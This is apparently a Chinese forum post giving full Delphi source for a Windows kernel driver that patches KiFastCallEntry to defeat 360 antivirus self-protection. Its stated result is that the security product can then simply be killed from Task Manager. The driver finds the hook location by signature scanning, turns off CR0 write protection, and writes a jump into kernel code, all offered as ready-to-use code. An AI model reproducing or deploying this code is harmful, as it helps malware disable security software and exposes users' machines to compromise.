delphi驱动绕过360的KiFastCallEntry钩子
加载后360自我保护就换效了,但进程还在,可以直接用任务管理器结束之unit unhook360;interfaceusesnt_status, ntoskrnl, native, winioctl, fcall, macros;typeTHEAD = array[0..4] of byte;THEAD1 = array[0..5] of byte;constNtKernel = 'ntoskrnl.exe';NtHal = 'hal.dll';DeviceName = '\Device\unhook250'; ///设备名DosDeviceName = '\??\unhook250'; ///符号链接名JmpCode: THEAD = ($E9, $00, $00, $00, $00);OrgCode: THEAD = ($8B, $3F, $8B, $1C, $87);PushRetCode: THEAD1 = ($68, $00, $00, $00, $00, $C3);varf_oldirql: KIRQL;f_spinlock: KSPIN_LOCK;uKiFastCallEntryAddr: ULONG;HookAddr: ULONG;M**mpRet: ULONG;PushRetMem: ULONG;g_usDeviceName, g_usSymbolicLinkName: UNICODE_STRING;function _DriverEntry(pDriverObject: PDRIVER_OBJECT; pusRegistryPath: PUNICODE_STRING): NTSTATUS; stdcall;function KeRaiseIrqlToDpcLevel(): KIRQL; register; external NtHal name '_KeRaiseIrqlToDpcLevel';procedure KfLowerIrql(NewIrql: KIRQL); register; external NtHal name '_KfLowerIrql';procedure KfReleaseSpinLock(SpinLock: PKSPIN_LOCK; NewIrql: KIRQL); register; external NtHal name '_KfReleaseSpinLock';function KfAcquireSpinLock(SpinLock: PKSPIN_LOCK): KIRQL; register; external NtHal name '_KfAcquireSpinLock';implementationprocedure FakeKiFastCallEntry; stdcall;beginasmmov edi,dword ptr [edi]mov ebx,dword ptr [edi+eax*4]sub esp,ecxshr ecx,2jmp [M**mpRet];end;end;function LoadKiHooker(): ULONG;varoldIrql: KIRQL;status: NTSTATUS;uCr0cpu: ULONG;beginasmpushfdpushadmov ecx,$176rdmsrmov uKiFastCallEntryAddr,eax //获取KiFastCallEntry地址xor ecx,ecx@@Label1:cmp ecx,$100je @@Label3mov edx,DWORD ptr [eax]cmp edx,$1C8B3F8B //搜索特征码,获取要Hook的位置je @@Label2inc eaxinc ecxjmp @@Label1@@Label2:mov HookAddr,eax@@Label3:popadpopfdend;if (HookAddr = 0) then result := status;DbgPrint('HookAddr is:%x', HookAddr);PushRetMem := ULONG(ExAllocatePoolWithTag(NonPagedPool, 6, $544D454D));DbgPrint('PushRetMem is:%x', PushRetMem);if (PVOID(PushRetMem) = nil) then result := status;PULONG(ulong(@JmpCode[1]))^ := PushRetMem - (HookAddr + 5);PULONG(ulong(@PushRetCode[1]))^ := DWORD(@FakeKiFastCallEntry);DbgPrint('FakeKiFastCallEntry is:%x', DWORD(@FakeKiFastCallEntry));M**mpRet := HookAddr + 10;KeInitializeSpinLock(@f_spinlock);f_oldirql := KfAcquireSpinLock(@f_spinlock);oldIrql := KeRaiseIrqlToDpcLevel();asmclipush eaxmov eax, cr0mov [uCr0cpu], eaxand eax, not 000010000hmov cr0, eaxpop eaxend;memcpy(pointer(PushRetMem), pointer(@PushRetCode), 6);DbgPrint('JmpCode is:%x', DWORD(@JmpCode));memcpy(pointer(HookAddr), pointer(@JmpCode), 5);asmpush eaxmov eax, [uCr0cpu]mov cr0, eaxpop eaxstiend;KfLowerIrql(oldIrql);KfReleaseSpinLock(@f_spinlock, f_oldirql);end;function UnloadKiHooker(): ULONG;varoldIrql: KIRQL;status: NTSTATUS;uCr0cpu: ULONG;beginif (HookAddr <> 0) thenbeginKeInitializeSpinLock(@f_spinlock);f_oldirql := KfAcquireSpinLock(@f_spinlock);oldIrql := KeRaiseIrqlToDpcLevel();asmclipush eaxmov eax, cr0mov [uCr0cpu], eaxand eax, not 000010000hmov cr0, eaxpop eaxend;RtlCopyMemory(pointer(HookAddr), pointer(@OrgCode), 5);asmpush eaxmov eax, [uCr0cpu]mov cr0, eaxpop eaxstiend;KfLowerIrql(oldIrql);KfReleaseSpinLock(@f_spinlock, f_oldirql);ExFreePool(PVOID(PushRetMem));end;end;function DispatchCreateClose(p_DeviceObject: PDEVICE_OBJECT; p_Irp: PIRP): NTSTATUS; stdcall; ///对打开或关闭请求的响应 ,这里就是简单的返回一个成功beginp_Irp^.IoStatus.Status := STATUS_SUCCESS; ///设置状态为STATUS_SUCCESS 即成功p_Irp^.IoStatus.Information := 0;IofCompleteRequest(p_Irp, IO_NO_INCREMENT); ///调用IoCompleteRequest完成IRPResult := STATUS_SUCCESS;end;procedure DriverUnload(DriverObject: PDriverObject); stdcall;beginDbgPrint('DriverUnload(DriverObject:0x%.8X)', DriverObject);DbgPrint('DriverUnload(-)');UnloadKiHooker();IoDeleteSymbolicLink(@g_usSymbolicLinkName);IoDeleteDevice(DriverObject^.DeviceObject);end;function _DriverEntry(pDriverObject: PDRIVER_OBJECT; pusRegistryPath: PUNICODE_STRING): NTSTATUS;varoldIrql: KIRQL;status: NTSTATUS;DeviceObject: TDeviceObject;beginstatus := STATUS_DEVICE_CONFIGURATION_ERROR;RtlInitUnicodeString(g_usDeviceName, DeviceName);RtlInitUnicodeString(g_usSymbolicLinkName, DosDeviceName);if (IoCreateDevice(pDriverObject, 0, @g_usDeviceName,FILE_DEVICE_UNKNOWN, 0, FALSE,DeviceObject) = STATUS_SUCCESS) thenbeginDbgPrint('Create Device Success'); ///输出调试字符串if (IoCreateSymbolicLink(@g_usSymbolicLinkName, @g_usDeviceName) = STATUS_SUCCESS) thenbeginDbgPrint('Create SymbolicLink Success'); ///输出调试字符串pDriverObject^.MajorFunction[IRP_MJ_CREATE] := @DispatchCreateClose; ///这里把IRP_MJ_CREATE IRP_MJ_CLOSE设置到一个函数上pDriverObject^.MajorFunction[IRP_MJ_CLOSE] := @DispatchCreateClose;pDriverObject^.DriverUnload := @DriverUnload; ///当驱动动态卸载时执行DriverUnloadstatus := STATUS_SUCCESS; ///返回STATUS_SUCCESS;end else ///如果创建符号链接不成功beginDbgPrint('Create SymbolicLink Failed'); ///输出调试字符串IoDeleteDevice(@DeviceObject); ///删除设备end;end;LoadKiHooker();Result := status;end;end.